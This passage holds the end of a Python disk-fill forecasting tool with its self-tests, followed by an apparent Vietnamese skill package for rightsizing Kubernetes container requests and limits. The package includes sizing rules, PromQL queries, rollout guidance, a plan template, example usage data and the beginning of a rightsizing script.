"used_pct": round(pct * 100, 1), "rate_gb_day": round(rate, 3), "recent_rate_gb_day": round(recent, 3),
"r2": round(r2, 3), "samples": len(pts), "span_days": round(span, 2),
"runway": {f"{int(th * 100)}%": {"days": None if d is None else round(d, 1),
"date": None if t is None else t.strftime("%Y-%m-%d")}
for th, (d, t) in runway.items()},
"suggested_size_gb": suggest, "horizon_days": horizon, "findings": findings,
"status": findings[0]["severity"] if findings and findings[0]["severity"] in ("CRITICAL", "HIGH", "MEDIUM") else "OK"}
def fmt_days(d):
if d is None:
return "never at current rate"
if d <= 0:
return "already"
if d < 1:
return f"{d * 24:.0f} h"
return f"{d:.1f} days"
def report(res, horizon):
out = ["# Disk runway report", "", f"Runway uses the worse of the overall and last-week growth rate; suggested size keeps usage under 80% for {horizon} days.", "",
"| Volume | Status | Used | Size | Growth GB/day (overall / recent) | 80% | 90% | 100% | Suggested size |",
"|---|---|---|---|---|---|---|---|---|"]
order = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "OK": 3}
for name, r in sorted(res.items(), key=lambda kv: (order[kv[1]["status"]], kv[0])):
def cell(k):
x = r["runway"][k]
if x["days"] is None:
return "never"
return "now" if x["days"] == 0 else f"{x['days']} d ({x['date']})"
out.append(f"| {name} | {r['status']} | {r['used_gb']:g} GB ({r['used_pct']}%) | {r['size_gb']:g} GB | "
f"{r['rate_gb_day']} / {r['recent_rate_gb_day']} | {cell('80%')} | {cell('90%')} | {cell('100%')} | "
f"{r['suggested_size_gb']:g} GB |")
out += ["", "## Findings"]
any_f = False
for name, r in sorted(res.items(), key=lambda kv: (order[kv[1]["status"]], kv[0])):
for x in r["findings"]:
any_f = True
out.append(f"- **{x['severity']} {x['code']}** ({name}): {x['message']}")
if not any_f:
out.append("- none")
out += ["", "Last samples: " + ", ".join(f"{n} {r['last_sample']} ({r['samples']} samples, {r['span_days']} days, R^2 {r['r2']})" for n, r in sorted(res.items()))]
return "\n".join(out) + "\n"
def run(text, horizon=90):
if horizon <= 0:
raise DataError("horizon must be > 0")
return {name: analyze(s, horizon) for name, s in read_rows(text).items()}
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
b, r2 = slope([(0, 10), (1, 12), (2, 14)])
ok("slope 2/day exact fit", abs(b - 2) < 1e-9 and abs(r2 - 1) < 1e-9)
ok("flat slope 0", slope([(0, 5), (1, 5), (2, 5)])[0] == 0)
hdr = "timestamp,volume,used_gb,size_gb\n"
lin = hdr + "".join(f"2026-10-{d:02d},v,{100 + 2 * d},500\n" for d in range(1, 15))
r = run(lin)["v"]
ok("rate 2 GB/day", abs(r["rate_gb_day"] - 2) < 1e-6)
ok("80% runway (400-128)/2 = 136 d", r["runway"]["80%"]["days"] == 136.0)
ok("runway date from last sample", r["runway"]["100%"]["date"] == "2027-04-18")
ok("healthy volume status OK", r["status"] == "OK" and r["findings"] == [])
ok("suggested size keeps 500", r["suggested_size_gb"] == 500)
r = run(lin, horizon=180)["v"]
ok("180 d horizon suggests 610", r["suggested_size_gb"] == 610)
full = hdr + "".join(f"2026-10-{d:02d},v,{80 + 3 * d},100\n" for d in range(1, 6))
r = run(full)["v"]
ok("95% used is CRITICAL", r["status"] == "CRITICAL" and r["findings"][0]["code"] == "FULL_SOON")
ok("past threshold runway is 0", r["runway"]["90%"]["days"] == 0)
short = hdr + "".join(f"2026-10-{d:02d},v,{50 + 3 * d},100\n" for d in range(1, 8))
r = run(short)["v"]
ok("90% in ~6 days is HIGH", r["status"] == "HIGH")
watch = hdr + "".join(f"2026-10-{d:02d},v,{40 + d},100\n" for d in range(1, 8))
ok("80% in 33 d is OK, 80% in 26 d is MEDIUM", run(watch)["v"]["status"] == "OK" and
run(hdr + "".join(f"2026-10-{d:02d},v,{47 + d},100\n" for d in range(1, 8)))["v"]["status"] == "MEDIUM")
acc = hdr + "".join(f"2026-10-{d:02d},v,{100 + (d if d <= 14 else 14 + 5 * (d - 14))},1000\n" for d in range(1, 22))
r = run(acc)["v"]
ok("accelerating flagged", any(x["code"] == "ACCELERATING" for x in r["findings"]))
ok("recent rate used for runway", r["recent_rate_gb_day"] > r["rate_gb_day"])
jump = hdr + "2026-10-01,v,100,500\n2026-10-02,v,101,500\n2026-10-03,v,140,500\n2026-10-04,v,141,500\n"
r = run(jump)["v"]
ok("sudden jump flagged", any(x["code"] == "SUDDEN_JUMP" for x in r["findings"]))
ok("jump removed from trend (1 GB/day)", abs(r["rate_gb_day"] - 1) < 1e-6 and r["used_gb"] == 141)
noisy = hdr + "".join(f"2026-10-{d:02d},v,{100 + (8 if d % 2 else 0) + 0.3 * d:.1f},500\n" for d in range(1, 21))
ok("noisy trend flagged", any(x["code"] == "NOISY_TREND" for x in run(noisy)["v"]["findings"]))
shr = hdr + "".join(f"2026-10-{d:02d},v,{200 - 3 * d},500\n" for d in range(1, 8))
r = run(shr)["v"]
ok("shrinking flagged and runway never", any(x["code"] == "SHRINKING" for x in r["findings"]) and r["runway"]["100%"]["days"] is None)
few = hdr + "2026-10-01T00:00,v,10,100\n2026-10-01T12:00,v,11,100\n"
ok("few samples flagged", any(x["code"] == "FEW_SAMPLES" for x in run(few)["v"]["findings"]))
multi = hdr + "2026-10-02,b,5,100\n2026-10-01,a,1,100\n2026-10-01,b,4,100\n2026-10-02,a,1,100\n"
r = run(multi)
ok("multiple volumes, unsorted rows", set(r) == {"a", "b"} and r["b"]["rate_gb_day"] == 1)
ok("resize uses latest size", run(hdr + "2026-10-01,v,50,100\n2026-10-02,v,52,200\n")["v"]["size_gb"] == 200)
ok("fmt_days hours", fmt_days(0.5) == "12 h")
for bad, label in (("a,b\n1,2\n", "missing columns"), (hdr, "no rows"), (hdr + "x,v,1,10\n", "bad timestamp"),
(hdr + "2026-10-01,v,abc,10\n", "bad number"), (hdr + "2026-10-01,v,1,0\n", "zero size")):
try:
run(bad)
ok(label + " rejected", False)
except DataError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Forecast when disks fill up from usage samples.")
ap.add_argument("file", nargs="?", help="CSV: timestamp,volume,used_gb,size_gb")
ap.add_argument("--horizon", type=int, default=90, help="days of runway the suggested size must cover (default 90)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a CSV file or --self-test")
try:
res = run(open(a.file, encoding="utf-8").read(), a.horizon)
except (OSError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else report(res, a.horizon), end="\n" if a.json else "")
return 1 if any(r["status"] in ("CRITICAL", "HIGH") for r in res.values()) else 0
if __name__ == "__main__":
sys.exit(main())Tối ưu hóa đúng định mức (rightsize) các thông số requests và limits cho CPU và bộ nhớ trong Kubernetes dựa trên mức sử dụng thực tế (p50, p95 và max trên từng container). Đề xuất mức requests tại ngưỡng p95 cộng thêm khoảng dự phòng (headroom), giới hạn bộ nhớ (memory limits) cao hơn mức đỉnh và loại bỏ giới hạn CPU (CPU limits), đồng thời ước tính số lõi (cores), dung lượng GiB và chi phí tiết kiệm được. Cảnh báo các lỗi OOM kill, mức dùng bộ nhớ vượt quá request, hiện tượng bóp băng thông CPU (CPU throttling), thiếu thông số requests hoặc memory limits, cấp phát dư thừa (overprovisioning) và khoảng thời gian thu thập dữ liệu quá ngắn. Bao gồm một công cụ tính toán bằng thư viện chuẩn Python có hỗ trợ cờ --self-test.
---
name: kubernetes-resource-requests-rightsizer
description: Tối ưu hóa đúng định mức (rightsize) các thông số requests và limits cho CPU và bộ nhớ trong Kubernetes dựa trên mức sử dụng thực tế (p50, p95 và max trên từng container). Đề xuất mức requests tại ngưỡng p95 cộng thêm khoảng dự phòng (headroom), giới hạn bộ nhớ (memory limits) cao hơn mức đỉnh và loại bỏ giới hạn CPU (CPU limits), đồng thời ước tính số lõi (cores), dung lượng GiB và chi phí tiết kiệm được. Cảnh báo các lỗi OOM kill, mức dùng bộ nhớ vượt quá request, hiện tượng bóp băng thông CPU (CPU throttling), thiếu thông số requests hoặc memory limits, cấp phát dư thừa (overprovisioning) và khoảng thời gian thu thập dữ liệu quá ngắn. Bao gồm một công cụ tính toán bằng thư viện chuẩn Python có hỗ trợ cờ --self-test.
---
# Công cụ Tối ưu hóa Định mức Tài nguyên Kubernetes (Rightsizer)
Bạn giúp các kỹ sư nền tảng (platform engineers), kỹ sư SRE và nhà phát triển thiết lập thông số requests và limits cho các container Kubernetes dựa trên bằng chứng số liệu thực tế thay vì phỏng đoán. Từ các phân vị mức sử dụng (usage percentiles) được xuất ra từ Prometheus, Datadog hoặc trình đề xuất VPA, bạn đề xuất thông số requests và limits mới cho từng container, giải thích các rủi ro nguy hiểm trước tiên (lỗi OOM kill, nghẽn CPU do throttling, nguy cơ bị trục xuất pod - eviction), ước tính lượng tài nguyên mà cụm (cluster) tiết kiệm được, và lập kế hoạch triển khai an toàn.
## Các tệp trong kỹ năng này
- `scripts/rightsize.py` - đọc tệp CSV chứa các thiết lập hiện tại và phân vị mức sử dụng của từng container, sau đó in ra thông số requests và limits được khuyến nghị, các phát hiện rủi ro và lượng tài nguyên requests được giải phóng (chỉ dùng thư viện chuẩn của Python 3)
- `references/sizing-method.md` - vai trò của requests và limits, quy tắc tính toán định mức, các chỉ số cần thu thập (kèm câu truy vấn PromQL), và cách đọc số liệu của các container đang bị bóp CPU (throttled) hoặc bị OOM kill
- `references/rollout-and-guardrails.md` - thứ tự áp dụng thay đổi, quy trình triển khai (rollout) và hoàn tác (rollback) an toàn, LimitRange, ResourceQuota, VPA, cảnh báo (alerts), và những trường hợp không nên cắt giảm tài nguyên
- `templates/rightsizing-plan.md` - mẫu kế hoạch tối ưu hóa định mức tài nguyên để chia sẻ với nhóm hoặc đính kèm vào phiếu yêu cầu thay đổi (change ticket)
- `examples/shop-cluster-usage.csv` - sáu container của một hệ thống cửa hàng trực tuyến: một API được cấp phát quá dư thừa, container sidecar đi kèm của nó, một dịch vụ tìm kiếm vừa bị OOM kill vừa bị bóp CPU, một worker không đặt giới hạn bộ nhớ, Redis và một trình đẩy log (log shipper) không khai báo requests
## Quy trình làm việc
### 1. Thu thập số liệu sử dụng
Hãy yêu cầu dữ liệu thống kê theo từng container trong ít nhất 7 ngày (tốt nhất là 14-28 ngày): số lượng bản sao (replicas), thông số requests và limits hiện tại, phân vị p50/p95/max của CPU tính bằng millicores, phân vị p50/p95/max của bộ nhớ làm việc (memory working set) tính bằng MiB, tỷ lệ phần trăm bị bóp CPU (throttled percentage) và số lần bị OOM kill. Tệp `references/sizing-method.md` có sẵn câu truy vấn PromQL cho từng chỉ số này. Hãy hỏi thêm về nhiệm vụ của từng workload, đặc điểm biến thiên lưu lượng truy cập (đỉnh điểm hàng tuần, đợt khuyến mãi, tác vụ chạy theo lô batch jobs) và liệu có đang dùng HPA để tự động co giãn cho nó hay không.
### 2. Chạy công cụ tối ưu hóa định mức
```
python3 scripts/rightsize.py examples/shop-cluster-usage.csv --core-month 24 --gib-month 3.2
python3 scripts/rightsize.py usage.csv --headroom 25 --keep-cpu-limits --json
python3 scripts/rightsize.py --self-test
```
Thông số đơn giá là tùy chọn và được tính trên mỗi lõi (core) hoặc mỗi GiB được yêu cầu (requested) mỗi tháng. Mã thoát (exit code) bằng 1 nghĩa là có phát hiện rủi ro mức CRITICAL hoặc HIGH, bằng 2 nghĩa là dữ liệu đầu vào không hợp lệ.
### 3. Giải thích và lập kế hoạch
Bắt đầu với các container có mức cảnh báo CRITICAL và HIGH: nêu rõ vấn đề gì đang xảy ra hiện nay, bằng chứng số liệu cụ thể và thay đổi cần áp dụng. Đối với các container đang bị bóp CPU hoặc bị OOM kill, hãy lưu ý rằng các con số sử dụng hiện tại đã bị chạm trần giới hạn và cần lên kế hoạch đo đạc lại lần thứ hai sau khi khắc phục. Tiếp theo, liệt kê các khoản tiết kiệm lớn nhất (số lượng replicas sẽ nhân bội mức tiết kiệm này lên). Kiểm tra các trường hợp ngoại lệ trong `references/rollout-and-guardrails.md` mà việc cắt giảm tài nguyên là không an toàn, đồng thời nhắc nhở việc tinh chỉnh lại ngưỡng HPA khi thay đổi thông số requests.
### 4. Bàn giao kết quả
Điền vào mẫu `templates/rightsizing-plan.md` với bảng tổng hợp, bản vá YAML (YAML patch) cho từng workload, thứ tự triển khai, các chỉ số cần theo dõi và ngày hẹn đo đạc lại.
## Ví dụ kết quả
Đối với tệp `examples/shop-cluster-usage.csv`: container shop/catalog-search/app ở mức CRITICAL (bị OOM kill 3 lần tại ngưỡng giới hạn 1536Mi, mức bộ nhớ p95 là 1180Mi vượt quá mức request 1024Mi, bị bóp CPU 31% tại ngưỡng giới hạn 500m) và được đề xuất mức requests mới là 570m / 1360Mi, giới hạn bộ nhớ 1872Mi và gỡ bỏ hoàn toàn giới hạn CPU; ops/log-shipper hoàn toàn không có thông số requests nào (mức HIGH, chạy 8 replicas); shop/image-resizer cần bổ sung giới hạn bộ nhớ và tăng thêm bộ nhớ; shop/checkout-api/app giảm từ 1000m / 2048Mi xuống còn 485m / 912Mi trên 6 replicas. Tổng cộng giải phóng được 1.76 cores và 4.06 GiB tài nguyên requests, tương đương tiết kiệm khoảng 55 mỗi tháng nếu tính theo đơn giá 24 trên mỗi core và 3.2 trên mỗi GiB.
## Quy tắc
- Luôn khắc phục các rủi ro về độ tin cậy trước khi tối ưu tiết kiệm chi phí, và tuyệt đối không bao giờ khuyến nghị gỡ bỏ giới hạn bộ nhớ (memory limit).
- Luôn nêu rõ mỗi con số đề xuất được tính từ phân vị nào, khoảng thời gian dữ liệu bao lâu và tỷ lệ dự phòng (headroom) là bao nhiêu, đồng thời lưu ý rằng các đợt tăng vọt hiếm gặp nằm ngoài khoảng thời gian thu thập dữ liệu sẽ chưa được tính tới.
- Coi mức sử dụng của các container đang bị bóp CPU (throttled) hoặc bị OOM kill chỉ là mức sàn tối thiểu (floor), chứ chưa phải nhu cầu thực tế của chúng.
- Cung cấp các thay đổi dưới dạng bản vá tệp manifest hoặc Helm values để đội ngũ kỹ thuật xem xét; không tự ý chạy các lệnh `kubectl` trực tiếp lên cụm đang hoạt động.
- Báo cáo mức tiết kiệm dưới dạng "tài nguyên requests được giải phóng" cho tới khi các máy chủ nút (nodes) thực sự được thu hồi giảm bớt.
FILE:references/sizing-method.md
# Phương pháp Tính toán Định mức (Sizing Method)
## Vai trò của requests và limits
- **CPU request:** lượng tài nguyên mà bộ lập lịch (scheduler) đặt chỗ trước trên một node và là tỷ trọng chia sẻ CPU của container đó khi node rơi vào trạng thái bận. Đặt quá thấp: pod bị xếp vào các node chật chội và chạy chậm đi khi tải cao. Đặt quá cao: các node trông có vẻ đã đầy trên sổ sách trong khi thực tế lại đang nhàn rỗi, khiến bạn phải trả tiền cho những lõi CPU bỏ không.
- **CPU limit:** mức trần cứng được thực thi bởi hạn ngạch CFS (CFS quota) theo từng chu kỳ 100 ms. Một container chạm tới ngưỡng này sẽ bị bóp băng thông (throttled), ngay cả khi node đó đang dư thừa CPU nhàn rỗi. Các dịch vụ nhạy cảm với độ trễ (API, proxy, ứng dụng JVM và chương trình Go sử dụng nhiều luồng) sẽ chịu ảnh hưởng nặng nề nhất.
- **Memory request:** lượng bộ nhớ mà bộ lập lịch đặt chỗ trước. Các pod sử dụng nhiều bộ nhớ hơn mức request của chúng sẽ là đối tượng đầu tiên bị trục xuất (evicted) khi một node cạn kiệt bộ nhớ.
- **Memory limit:** mức trần cứng; vượt quá ngưỡng này đồng nghĩa với việc bị OOM kill ngay lập tức (mã thoát 137, lý do `OOMKilled`). Bộ nhớ không thể bị làm chậm (throttled) như CPU.
- **Các hạng QoS (QoS classes):** Guaranteed (requests = limits cho mọi container trong pod), Burstable (có thiết lập một số thông số requests), BestEffort (không thiết lập gì cả, sẽ bị trục xuất đầu tiên khi thiếu tài nguyên).
## Các quy tắc được sử dụng bởi `scripts/rightsize.py`
| Thông số | Quy tắc tính | Lý do |
|---|---|---|
| CPU request | p95 x (1 + headroom), làm tròn lên theo bậc 5m, tối thiểu 10m | đáp ứng tốt các giai đoạn bận rộn thông thường; phần nhu cầu đột biến còn lại sẽ tận dụng nguồn CPU nhàn rỗi dùng chung |
| CPU limit | gỡ bỏ (hoặc nếu dùng cờ `--keep-cpu-limits`: max(max x 1.2, 2 x request)) | giới hạn CPU gây nghẽn các đợt xử lý đột biến ngay cả trên các node đang rảnh |
| Memory request | p95 x (1 + headroom), làm tròn lên theo bậc 16Mi, tối thiểu 32Mi | giữ cho pod nằm ngoài danh sách ưu tiên bị trục xuất (eviction) |
| Memory limit | max(max x 1.25, request), làm tròn lên theo bậc 16Mi | tạo khoảng trống cho các đỉnh tải; không bao giờ được gỡ bỏ vì một lỗi rò rỉ bộ nhớ (memory leak) không được phép đánh sập cả node |
Tỷ lệ dự phòng (headroom) mặc định là 15%. Hãy nâng lên mức 25-30% đối với các lưu lượng có tính chất tăng vọt đột ngột (spiky traffic), các tác vụ chạy theo lô (batch jobs) hoặc khi khoảng thời gian thu thập dữ liệu quá ngắn.
## Các chỉ số cần thu thập
Trên từng container, trong khoảng thời gian ít nhất 7 ngày (tốt nhất là 14-28 ngày để bắt được các đỉnh tải hàng tuần và cuối tháng):
- CPU tính bằng millicores: giá trị p50, p95 và max của `rate(container_cpu_usage_seconds_total[5m]) * 1000`
- Bộ nhớ tính bằng MiB: giá trị p50, p95 và max của `container_memory_working_set_bytes / 2^20` (working set chính là chỉ số mà trình OOM killer và cơ chế trục xuất eviction theo dõi, chứ không phải RSS hay cache)
- Tỷ lệ bóp CPU (Throttling): `container_cpu_cfs_throttled_periods_total / container_cpu_cfs_periods_total * 100`
- Số lần OOM kill: `kube_pod_container_status_last_terminated_reason{reason="OOMKilled"}` hoặc số lần khởi động lại (restarts) với mã thoát 137
- Thiết lập hiện tại: dùng lệnh `kubectl get deploy -o jsonpath` hoặc chỉ số `kube_pod_container_resource_requests` / `_limits`
## Cách đọc kết quả
- **Các container bị bóp CPU (Throttled containers)** sẽ báo cáo mức sử dụng bị chặn đứng tại ngưỡng limit, do đó chỉ số p95 thu được thấp hơn nhu cầu thực tế. Hãy nâng cao hoặc gỡ bỏ giới hạn CPU trước, đo đạc lại trong vài ngày, rồi mới tính toán định mức chuẩn.
- **Các lỗi OOM kill** có nghĩa là mức đỉnh thực sự vẫn chưa xác định được (vì container đã bị giết ngay khi chạm ngưỡng limit). Hãy tăng giới hạn bộ nhớ lên thêm 50% hoặc nhiều hơn, tìm nguyên nhân rò rỉ bộ nhớ hoặc truy vấn nặng gây tốn RAM, sau đó đo đạc lại.
- **Ứng dụng JVM, Node.js và Go** đọc kích thước vùng nhớ heap từ cấu hình khởi chạy: hãy thay đổi các cờ `-Xmx`, `--max-old-space-size` hoặc `GOMEMLIMIT` đồng bộ với giới hạn bộ nhớ của container (giữ vùng nhớ heap ở mức khoảng 70-75% so với memory limit).
- **Các container phụ trợ (Sidecars)** (như istio-proxy, trình đẩy log) cần được tính toán định mức riêng biệt; thông số của chúng sẽ được nhân lên theo từng bản sao (replica) của ứng dụng.
- **HPA dựa trên CPU** thực hiện co giãn dựa trên tỷ lệ giữa mức sử dụng thực tế chia cho thông số request. Việc hạ thấp thông số request sẽ khiến HPA kích hoạt nhân bản (scale out) sớm hơn, vì vậy bạn có thể cần hạ mục tiêu `averageUtilization` hoặc số lượng bản sao sẽ thay đổi. Hãy tối ưu hóa định mức tài nguyên trước, sau đó tinh chỉnh lại HPA.
## Giới hạn của phương pháp này
- Các chỉ số phân vị trong một khung thời gian sẽ bỏ sót các sự kiện hiếm gặp: tác vụ tổng hợp dữ liệu hàng tháng, đợt siêu khuyến mãi, hoặc quá trình dựng lại bộ nhớ đệm (cache rebuild) ngay sau khi triển khai bản mới.
- Mức sử dụng trên mỗi container thường được tính trung bình qua các bản sao (replicas); một phân mảnh nóng (hot shard) hoặc một pod đóng vai trò nút trưởng (leader pod) cần được tách thành một dòng dữ liệu riêng.
- Khả năng xếp khối trên node (node bin-packing), phần tài nguyên tiêu hao cho các DaemonSet và dung lượng bộ nhớ thực tế có thể cấp phát (allocatable memory) mới là yếu tố quyết định mức tiết kiệm thực sự; lượng tài nguyên requests được giải phóng chỉ thực sự chuyển hóa thành tiền tiết kiệm được khi số lượng node giảm xuống.
FILE:references/rollout-and-guardrails.md
# Triển khai và Các Rào chắn An toàn (Rollout and Guardrails)
## Thứ tự thực hiện thay đổi
1. **Khắc phục rủi ro trước tiên:** xử lý các trường hợp bị OOM kill, mức bộ nhớ p95 vượt quá request, bị bóp CPU nặng, hoặc thiếu khai báo requests. Những lỗi này trực tiếp gây ra sự cố hệ thống; việc tiết kiệm chi phí có thể đợi sau.
2. **Sau đó mới cắt giảm lãng phí:** xử lý các container bị cấp phát dư thừa (`OVERPROVISIONED`), ưu tiên những dịch vụ có số lượng bản sao (replica) lớn nhất trước vì mức tiết kiệm sẽ được nhân lên theo số bản sao.
3. **Thực hiện từng workload một,** áp dụng trên môi trường thử nghiệm (staging) trước nếu nơi đó có lưu lượng truy cập sát thực tế, sau đó mới đưa lên môi trường chính thức (production) vào khung giờ thấp điểm.
## Các bước triển khai an toàn
1. Thay đổi thông số requests và limits thông qua Git (trong tệp Helm values, bản vá Kustomize hoặc tệp manifest), tuyệt đối không dùng lệnh `kubectl edit` trực tiếp trên môi trường production.
2. Duy trì tốc độ triển khai cuốn chiếu từ từ: thiết lập `maxUnavailable: 0`, `maxSurge: 25%` kèm theo một `PodDisruptionBudget`, để các pod mới với kích thước tài nguyên mới khởi chạy thành công trước khi các pod cũ bị hủy.
3. Theo dõi sát sao trong 24-48 giờ: độ trễ p95, tỷ lệ lỗi, tỷ lệ bóp CPU (throttling), số lần OOM kill, số lần khởi động lại, số lần bị trục xuất (evictions) và số lượng bản sao do HPA điều chỉnh.
4. Hoàn tác (Rollback) = đảo ngược lại bản commit (revert commit). Việc hạ thấp thông số request không bao giờ tự giết chết các pod đang chạy, nhưng các pod sẽ được tạo lại mới trong quá trình triển khai (rollout).
## Ví dụ bản vá cấu hình (patch)
```yaml
resources:
requests:
cpu: 485m
memory: 912Mi
limits:
memory: 1136Mi # no cpu limit on purpose: avoid CFS throttling
```
## Các rào chắn bảo vệ cụm (Cluster guardrails)
- **LimitRange** trên từng namespace: áp đặt mức requests mặc định và giới hạn bộ nhớ mặc định, nhằm ngăn chặn sự xuất hiện của các pod thuộc hạng BestEffort.
- **ResourceQuota** trên từng namespace: khống chế tổng lượng tài nguyên requests tối đa để một nhóm đơn lẻ không thể chiếm hết toàn bộ tài nguyên của cụm.
- **Vertical Pod Autoscaler (VPA)** ở chế độ `updateMode: "Off"` giúp đưa ra các con số khuyến nghị để đối chiếu với kết quả của kỹ năng này mà không tự động khởi động lại các pod. Không được để VPA (chế độ Auto) và HPA theo dõi CPU hoặc bộ nhớ cùng lúc điều khiển chung một workload.
- **Cảnh báo (Alerts):** có sự kiện OOMKilled trong vòng một giờ qua, tỷ lệ bóp CPU vượt quá 25% kéo dài trong 15 phút, bộ nhớ làm việc (working set) vượt quá 90% ngưỡng limit, hoặc có các pod bị treo ở trạng thái Pending do thiếu tài nguyên.
## Khi nào không nên cắt giảm
- Các workload có những đợt tăng tải đột biến hiếm gặp đã biết trước nhưng chưa xuất hiện trong khoảng thời gian lấy mẫu dữ liệu (chốt sổ cuối tháng, Black Friday, chạy báo cáo quý).
- Các pod có giai đoạn khởi động tiêu tốn nhiều CPU hơn hẳn so với trạng thái chạy ổn định (ví dụ quá trình khởi động làm nóng của JVM): hãy giữ mức request cao hơn hoặc sử dụng cơ chế kiểm tra khởi động (startup probe) với độ trễ rộng rãi.
- Các hệ quản trị cơ sở dữ liệu và bộ nhớ đệm đã được cấu hình cứng kích thước bộ nhớ bên trong (như `maxmemory` của Redis, `shared_buffers` của PostgreSQL): giới hạn bộ nhớ (memory limit) của container bắt buộc phải luôn cao hơn kích thước đã cấu hình cộng với phần bộ nhớ phụ trợ (overhead).
- Các trường hợp chủ đích cần hạng chất lượng dịch vụ Guaranteed QoS (ứng dụng đòi hỏi độ trễ cực thấp, ghim cố định lõi CPU với chính sách static CPU manager): hãy giữ nguyên thông số requests bằng đúng với limits.
## Chuyển hóa lượng requests giải phóng thành tiền tiết kiệm thực tế
Lượng tài nguyên requests được giải phóng chỉ thực sự làm giảm hóa đơn chi phí khi bộ tự động co giãn cụm (cluster autoscaler hoặc Karpenter) có thể gom pod và gỡ bỏ bớt các node dư thừa. Hãy kiểm tra hiệu suất sử dụng node theo tỷ lệ requests sau khi áp dụng thay đổi và chờ khoảng một ngày để quá trình dồn nén (consolidation) diễn ra. Hãy luôn báo cáo mức tiết kiệm là "lượng requests được giải phóng" cho đến khi số lượng node thực sự giảm xuống.
FILE:templates/rightsizing-plan.md
# Kế hoạch Tối ưu hóa Định mức Tài nguyên (Rightsizing Plan) - <cluster / namespace> - <ngày>
**Nguồn dữ liệu:** <Prometheus / Datadog / khác>, từ <ngày đầu> đến <ngày cuối> (<n> ngày) **Dự phòng (Headroom):** <15>% **Người phụ trách:** <tên>
## Các rủi ro cần khắc phục trước tiên
| Container | Phát hiện | Bằng chứng | Thay đổi | Hạn hoàn thành |
|---|---|---|---|---|
| | | | | |
## Thông số Requests và Limits
| Container | Replicas | CPU req (hiện tại -> mới) | CPU limit | Mem req (hiện tại -> mới) | Mem limit (hiện tại -> mới) | Trạng thái |
|---|---|---|---|---|---|---|
| | | | | | | |
## Mức tiết kiệm ước tính
- Tài nguyên requests giải phóng được: <cores> cores, <GiB> GiB
- Mức tiết kiệm hàng tháng ước tính: <số tiền> (tính theo đơn giá <giá mỗi core> / <giá mỗi GiB>); chỉ thành tiền thực tế sau khi cụm thu giảm số lượng node
## Lộ trình triển khai (Rollout)
| Bước | Workload | Môi trường | Ngày | Chỉ số theo dõi | Phương án hoàn tác (Rollback) |
|---|---|---|---|---|---|
| 1 | | staging | | độ trễ, OOM, throttling | revert commit |
## Các bước theo dõi tiếp theo
- Đo đạc lại vào ngày <ngày> với số liệu phân vị mới
- Rào chắn an toàn (Guardrails): thiết lập mặc định LimitRange <...>, cảnh báo <...>
FILE:examples/shop-cluster-usage.csv
namespace,workload,container,replicas,cpu_request_m,cpu_limit_m,mem_request_mi,mem_limit_mi,cpu_p50_m,cpu_p95_m,cpu_max_m,mem_p50_mi,mem_p95_mi,mem_max_mi,throttled_pct,oom_kills,days
shop,checkout-api,app,6,1000,2000,2048,2048,180,420,1350,610,780,905,0,0,14
shop,checkout-api,istio-proxy,6,100,2000,128,1024,35,90,240,70,95,120,0,0,14
shop,catalog-search,app,4,500,500,1024,1536,310,495,500,900,1180,1490,31,3,14
shop,image-resizer,worker,3,250,1000,512,,120,380,950,340,610,1720,4,0,14
shop,cart-redis,redis,1,200,,768,1024,40,75,160,690,712,730,0,0,14
ops,log-shipper,fluent-bit,8,,,,,25,60,180,45,70,95,0,0,5
FILE:scripts/rightsize.py
#!/usr/bin/env python3
"""Kubernetes resource requests rightsizer (Python 3 standard library only).
Input: CSV with a header row, one row per container, columns
namespace,workload,container,replicas,
cpu_request_m,cpu_limit_m,mem_request_mi,mem_limit_mi,
cpu_p50_m,cpu_p95_m,cpu_max_m,mem_p50_mi,mem_p95_mi,mem_max_mi,
throttled_pct,oom_kills,days
CPU in millicores (m), memory in MiB (Mi). Empty request/limit cells mean "not set".
throttled_pct = share of CFS periods throttled (0-100); oom_kills and days may be empty (0 / unknown).
Recommendation per container (headroom default 15%, --headroom):
cpu request = p95 x (1 + headroom), rounded up to 5m, at least 10m
cpu limit = none (recommended), unless --keep-cpu-limits: max(cpu max x 1.2, 2 x request), 50m steps
mem request = p95 x (1 + headroom), rounded up to 16Mi, at least 32Mi
mem limit = max(mem max x 1.25, request), rounded up to 16Mi (never removed)
Findings (severity):
CRITICAL OOM_RISK OOM kills seen, or memory max >= 95% of the memory limit
HIGH NO_REQUESTS cpu or memory request missing (BestEffort / poor scheduling)
HIGH MEM_UNDER_REQUEST memory p95 above the memory request (eviction risk under node pressure)
HIGH CPU_THROTTLED throttled_pct >= 25
MEDIUM CPU_THROTTLED throttled_pct 10-25
MEDIUM CPU_UNDER_REQUEST cpu p95 above 1.2 x cpu request (noisy neighbours, slow under load)
MEDIUM NO_MEMORY_LIMIT memory limit missing (one leak can take the node down)
LOW OVERPROVISIONED recommended cpu or memory request < 50% of current
LOW SHORT_WINDOW under 7 days of data (misses weekly peaks; trust less)
Savings: (current - recommended requests) x replicas, totals in cores and GiB, and a monthly
estimate when --core-month and --gib-month prices are given.
Usage:
python3 rightsize.py usage.csv
python3 rightsize.py usage.csv --headroom 25 --core-month 24 --gib-month 3.2 --json
python3 rightsize.py --self-test
Exit code: 0 no CRITICAL/HIGH, 1 CRITICAL or HIGH findings, 2 bad input.
"""
import argparse
import csv
import io
import json
import math
import sys
COLUMNS = ("namespace", "workload", "container", "replicas", "cpu_request_m", "cpu_limit_m",
"mem_request_mi", "mem_limit_mi", "cpu_p50_m", "cpu_p95_m", "cpu_max_m",
"mem_p50_mi", "mem_p95_mi", "mem_max_mi", "throttled_pct", "oom_kills", "days")
OPTIONAL = {"cpu_request_m", "cpu_limit_m", "mem_request_mi", "mem_limit_mi", "throttled_pct", "oom_kills", "days"}
SEV_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}
class DataError(ValueError):
pass
def up(x, step):
return int(math.ceil(x / step - 1e-9) * step)
def num(row, col, line):
v = row.get(col, "")
if v == "":
if col in OPTIONAL:
return None
raise DataError(f"line {line}: {col} is required")
try:
x = float(v)
except ValueError:
